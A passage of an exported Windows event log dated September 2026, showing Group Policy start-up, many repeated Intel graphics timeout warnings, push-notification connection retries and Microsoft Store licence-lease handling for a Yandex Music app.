ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:14:04.253\t4116\tStarted the Group Policy service initialization phase.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 09:14:04.257\t4115\tGroup Policy Service started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 09:14:04.257\t5324\tGroup Policy received the notification CreateSession from Winlogon for session 0.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 09:14:04.257\t5351\tGroup policy session returned to winlogon.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 09:14:04.258\t4117\tGroup Policy Session started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 09:14:04.260\t5351\tGroup policy session returned to winlogon.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 09:14:04.260\t4117\tGroup Policy Session started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 09:14:04.262\t5116\tSuccessfully completed the Group Policy Service initialization phase.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 09:14:04.262\t5320\tThe Group Policy Client service is currently configured as a standalone service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 09:14:04.262\t5320\tInitializing and reading current service configuration for the Group Policy Client service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 09:14:04.262\t5320\tInitializing service instance state to detect previous instances of the service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 09:14:04.262\t5321\tA previous instance of the Group Policy Client Service was detected. Parameter: b6436654-42c0-4fef-910e-4de52610333d\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 09:14:04.272\t5117\tGroup policy session completed successfully.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 09:14:04.273\t5117\tGroup policy session completed successfully.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 09:14:04.480\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:06.157\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:06.605\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:07.503\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:07.725\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:07.949\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:08.510\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:09.184\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:09.406\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:09.849\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:10.072\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:10.406\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:11.406\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:11.853\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:12.079\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:12.299\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:13.299\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:13.856\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:14.973\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:16.200\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:16.534\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:16.757\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:17.088\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:17.424\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:18.095\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:18.544\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:18.879\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:19.102\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:19.549\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:22.547\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:23.969\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:24.195\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:25.725\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:26.543\t10000\tStarting session 1 - \u200e2026\u200e-\u200e09\u200e-\u200e05T02:14:26.542618500Z.\tInformation\tApplication\tMicrosoft-Windows-RestartManager\n05.09.2026 09:14:26.820\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:27.584\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:27.915\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:28.048\t16384\tSuccessfully scheduled Software Protection service for re-start at 2126-08-12T02:14:28Z. Reason: RulesEngine.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 09:14:28.246\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:29.874\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:36.251\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:14:36.266\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:14:36.266\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:14:36.288\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 09:14:45.042\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:14:45.042\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:14:45.129\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:14:45.129\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:14:46.536\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:53.906\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:14:53.906\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:14:53.906\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:14:53.916\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:14:57.743\t8001\t\"Invoking license manager because license/lease polling time up: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:14:57.744\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:14:57.744\t8011\t0x21f831d3070: 8380: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:14:57.744\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:14:57.744\t8012\t0x21f831d3070: 8380: Key:Valid Change: Key:Invalid => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:14:57.744\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:14:57.744\t8011\t0x21f8312b420: 16484: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:14:57.744\t8011\t0x21f8312b420: 16484: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:14:57.744\t8012\t0x21f8312b420: 16484: Lease:Valid Change: Lease:Invalid => {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:14:57.744\t8001\t\"Requesting lease document removal for reason 0x00000000, {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:14:57.746\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:14:57.746\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:14:57.747\t8002\t\"Trying to remove timer {1173A7B1-89F2-09CC-0563-CDED7D7397B9} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:14:57.747\t8001\t\"Removed timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:14:58.506\t10006\tApplication or service 'Microsoft Office SDX Helper' could not be shut down.\tError\tApplication\tMicrosoft-Windows-RestartManager\n05.09.2026 09:14:58.522\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:58.524\t10002\tShutting down application or service 'Microsoft Office SDX Helper'.\tInformation\tApplication\tMicrosoft-Windows-RestartManager\n05.09.2026 09:14:59.189\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:59.633\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:59.971\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:00.976\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:01.196\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:01.531\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:01.865\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:02.308\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:04.199\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:04.405\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:04.605\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:05.604\t8100\tStarting validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:15:05.605\t8106\tPackage Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:15:05.605\t8101\tFinished validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:15:06.787\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:07.108\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:09.187\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:09.635\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:10.402\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:10.936\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:11.156\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:12.448\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:12.663\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:14.506\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:14.841\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:16.360\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:18.520\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:19.480\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 